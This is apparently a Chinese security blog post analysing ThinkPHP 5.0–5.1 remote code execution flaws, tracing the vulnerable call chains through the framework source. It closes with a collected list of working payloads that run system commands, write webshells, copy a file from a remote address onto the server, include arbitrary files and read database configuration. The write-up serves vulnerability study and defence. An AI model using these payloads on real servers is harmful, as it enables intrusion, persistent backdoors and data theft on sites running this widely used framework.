查看原文
其他

原创 | TP5 RCE漏洞总结

Sentiment SecIN技术平台 2022-08-31

点击蓝字




关注我们



影响版本


5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30

不同版本payload不同,且5.13版本后还与debug模式有关

这里用的是5.0.22版本

ThinkPHP5.0.22完整版 - ThinkPHP框架

https://www.thinkphp.cn/down/1260.html


5.0.22debug模式RCE


开启debug模式

/config/config.php—>app_debug=>true

先给payload跟一边

_method=__construct&filter=system&server[REQUEST_METHOD]=whoami
入口就是index.php,跟进start.php

跟进run(),前边都是一些参数配置,直接跳到routeCheck()

前边还是配置操作直接看check()

下边有个method()跟进一下

525行$this->method =

strtoupper($_POST[Config::get('var_method')]);,


获取POST传参中的var_method的值,而配置文件config.php中,它的默认值是_method,而我们POST传参的_method值是__construct,在经过strtoupper转大写


所以$this->method=__CONSTRUCT,之后526行,

就相当于执行了__construct(\$_POST),POST值就是我们传进去的在下边


跟进__construct()

这里本身server是没有值的,但是通过foreach语句,进行变量覆盖,最后一次循环时


$name='server',$item=>REQUEST_METHOD=whoami,这样一来在经过$this->$name=$item后,就发生了变量覆盖

即\$server=>REQUEST_METHOD=whoami

即下边圈出来的值

到这为了防止比较乱,先捋一下刚刚的链

run()->routeCheck()->check()->method()->__construct()

执行完__construct()后回到method(),method()执行完后retrun $this->method;,


回到check(),check()最下边会rerurn false;在回到routeCheck(),此时\$resault=false

进入653行判断,跟进parseUrl()

最后会return 一个值,其中$route跟上边三个变量有关,调试时候跟一下就好了,其实也没啥东西。执行完后retrun $resault;回到了run(),将值给了\$dispatch

之后执行$request->dispatch($dispatch);将$dispatch的值赋给\$this->dispatch,其实这里也就是替换掉了$request中dispatch的值


跟进param(),看过之前tp5.1反序列化话,应该对这个很熟悉了,继续跟进method(true),注意这其实就是最开始的那个method()方法,前边的那个没给参数所以默认为false,这里是true

$method=true,所以进入第一个if,跟进server()

$this->server通过刚才的__construct()已经赋值了,所以绕过第一个if,$name的值是上图中传进的REQUEST_METHOD,是个字符串所以也不进入第二个if,下面操作就跟tp5.1反序列化的一样了,直接跟进input()

调用input时第二个参数,三目运算将大写REQUEST_METHOD,传给了input中的

\$name,$data=就是$this->server的值


之后经过foreach,将$name的值给

$val=REQUEST_METHOD,

然后$data=$data[$var]

即:\$data=\$data[REQUEST_METHOD]也就等于whoami

之后就是两个重点的方法getFilter(),tpRCE中常用方法filterValue()

先跟进getFilter(),1058行,将$this->filter的值给$filter,由于我们POST传入的是filter=system,所以现在的\$filter=system,中间过滤操作对其值无影响不看了,执行完retrun返回

跟进filterValue(),$value的值就是$data的值,call_user_func执行


最后return $this->filterExp($value); filterExp就是一个正则过滤主要过SQL的(tp3.2.3的SQL中也出现过),对我们的值没有影响,所以执行成功并回显了


5.0.22非debug模式RCE


还是先贴payload

?s=captcha_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=dir

非debug模式的区别就在于,之前debug模式时,可以进入if判断从而执行,param(),而非debug模式无法进入if所以执行点就到了下边的exec()

跟进exec(),会进行$dispatch['type']检测,若为method,则就可以从这里进入param(),进而命令执行

所以这里主要就在于,如何将

\$dispatch['type']=method,还是先跟到method方法这里(里边执行__construct()那个就不进去了)

经过method()变量覆盖,此时$method=get,在经过self::\$rules[get]给$rules赋值,结果在下边,现在问题是为什么值是这个数组呢?


这是由于ThinkPHP有⾃动加载机制,在运⾏时会⾃动加载vendor⽬录下的第三⽅库。

由于我们get传参?s=captcha,所以自动调用了think-captcha下的文件


加载过程如下:

vendor/topthink/think-captcha/src/helper.php中有个get方法,然后get()->rule()->setRule()

最终也就是相当于获得了我们get()方法中传入的参数

回过来接着看,给$rules,赋完值后会进入checkRoute(),注意:$rules作为第二个参数传入

跟进后里边又有个checkRule()->parseRule(),$rules作为第二个参数传给$route,在作为第二个参数传给parseRule()的\$route

//checkRule()$result = self::checkRule($rule, $route, $url, $pattern, $option, $depr);
//parseRule()return self::parseRule($rule, $route, $url, $option, $match);

跟到1517行,发现将$route赋给了$method,最后

$resault中的$type变为我们想要的

"method",$method变为$route的值,如图所示:

还是先捋一下整条链

run()->routeCheck()->check()->checkRoute()->checkRule()->pareRule(),type=method


都执行完后再回到run(),将刚才得到的值给了$dispatch,之后执行exec,这时我们的dispatch['type']=method,所以就执行了param()之后就跟debug模式一样了不跟进看了


5.0-5.0.12的另一种RCE思路


这条链应该是只适用于5.0—5.0.12具体没有一个个审,本地测试是0、5、12的都可以,所以应该也差不多


复现用的是5.0.5ThinkPHP5.0.5完整版 - ThinkPHP框架


https://www.thinkphp.cn/down/870.html


payload

_method=__construct&filter=system&method=GET&s=whoami

前边非debug的RCE是利用的$dispatch['type']=method,进而命令执行的,而这条链则是用到$dispatch['type']=module,先来看下如何让他的值变为module的


前边都是一样的,直接看routeCheck()这里

跟进后原本是通过check()然后再一直调用其他方法,将type变为method的,这里在check()方法执行完后,550行有个parseUrl()

$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);

跟进这里最后会返回type=>module,\$route其实

基本没发生什么变化,具体细节就不看了

执行完后回到run()方法中的type判断这里

跟进module,该方法最后执行invokeMethod()

return self::invokeMethod($call, $vars);
跟进221行,有个bindParams()
$args = self::bindParams($reflect, $vars);

跟进发现了param(),这里调用时没用到任何参数,所以前边我只是一直在跟进并没有分析他的具体流程

跟进

经过method()方法得到POST,然后将我们POST传入的值给$var,之后631行进行合并,这里的合并其实就是$var的值(框选部分),因为前后的get和route方法参数都是false默认返回空,所以可以理解为\$this->param=\$vars,最后调用input


跟进调用array_walk_recursive,$data就是input的第一个参数即:$this->param,$filter为我们传入的system

最后直接执行了,不截图了(这个地方在tp5.1反序列化中遇到过)


至于5.0.13后为什么不行,主要在这里,module中filter被覆盖为空


未开启强制路由导致RCE


环境

composer create-project topthink/think=5.1.29 tp5.1.29

我这边版本一直下载不对,没弄好就从github上直接

找了个

vulnspy/thinkphp-5.1.29 (github.com)

https://github.com/vulnspy/thinkphp-5.1.29


前提

未开启强制路由/config/app.php

// 是否强制使用路由'url_route_must' => false,


分析

感觉下载的不是纯净源码,就简单跟一下吧

老样子先进入run()

调用routeCheck()和init(),先跟进routeCheck()

先通过path()获取传参的值

跟进check(),先看881行,将$url值中的/替换成|,

所以结果从一开始的index/think\Request/input

变为index|think\Request/input

最后retrun返回

return new UrlDispatch($this->request, $this->group, $url, [ 'auto_search' => $this->autoSearchController, ]);}

执行完后看下值,主要还是

index|think\Request/input这一部分

相当于index模块,think\Request控制器,input方法。继续跟进,routeCheck()函数运行完毕,进入init():

48行有个parseUrlPath()跟进一下

list($path, $var) = $this->rule->parseUrlPath($url);
通过explode将url以/分为三个数组

回到parseUrl(),主要执行了下边三个array_shift操作,以$module举例,$path的第一个数组为index,通过array_shift将第一个数组删除,并返回index,剩下的controller、action依次就为think\Request、input

最后将这三个值赋给$route并retrun

$route = [$module, $controller, $action];
if ($this->hasDefinedRoute($route, $bind)) { throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));}
return $route;
回到init()
return (new Module($this->request, $this->rule, $result))->init();
在回到run(),调用``$dispatch->run():

跟进,在168执行exec()

  1. 先实例化了控制器,

    相当于实例化think\Request:

  2. $action这里先获得input这个方法名,

  3. 然后判断是否可以调用,创造\$call。

  4. 生成了一个ReflectionMethod反射类的对象,得到方法名。

  5. 利用param方法获得请求参数,即:filter=system&data=whoami

之后有个135行invokeReflectMethod()

$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

跟进,又发现bindParams()会retrun $args;再传给invokeArgs()调用


invokeArgs()利用反射机制,把\$args这个数组作为参数,调用了input方法,到input就很熟悉下边就不分析了

到这RCE部分就结束了,其实对于最后的未强制路由上,审计的还是不是很明白,也不知道是不是源码的问题,就是感觉有点乱这里就以后再说吧


payload总结


tp5RCE的payload其实还有很多,这里贴一波师傅总结payload


5.0-5.0.12debug无关

开启debug后会执行两遍我们的命令,一次在debug模式判断那里,run()->param():126,另一个就是非debug模式下的exec()


命令执行

POST s=whoami&_method=__construct&method=POST&filter[]=systemaaaa=whoami&_method=__construct&method=GET&filter[]=system_method=__construct&method=GET&filter[]=system&get[]=whoamic=system&f=calc&_method=filter//自5.0.8开始
shell
POSTs=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert


debug模式

5.0-5.0.20

准确的来说应该是5.0.13-5.0.20,因为13之前都会执行两次,不属于debug模式特有的

POST s=whoami&_method=__construct&method=POST&filter[]=systemaaaa=whoami&_method=__construct&method=GET&filter[]=system_method=__construct&method=GET&filter[]=system&get[]=whoamic=system&f=calc&_method=filter//自5.0.8开始


写shell

`fallback
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

**有captcha路由时debug无关**
POST ?s=captcha/calc_method=__construct&filter[]=system&method=GET
### 5.0.21-5.0.24、5.1.0-5.1.1
**命令执行**
```fallbackPOST _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc


写shell

POST_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('test.php','<?php phpinfo();')

有captcha路由时debug无关

POST ?s=captcha/calc_method=__construct&filter[]=system&method=GETPOST ?s=captcha_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get


未开启强制路由导致RCE

这个漏洞的影响范围应该是

ThinkPHP5<5.0.23、ThinkPHP5.1<5.1.30


命令执行

5.0.x?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami5.1.x?s=index/\think\Request/input&filter[]=system&data=whoami?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

shell

5.0.x?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)5.1.x?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?> //shell生成在runtime/temp/md5(template).php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)

其他

5.0.x?s=index/think\config/get&name=database.username // 获取配置信息?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件



往期推荐



原创 | Golang爬虫框架初探

原创 | 浅析JNDI注入

原创 | CVE-2019-0808


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存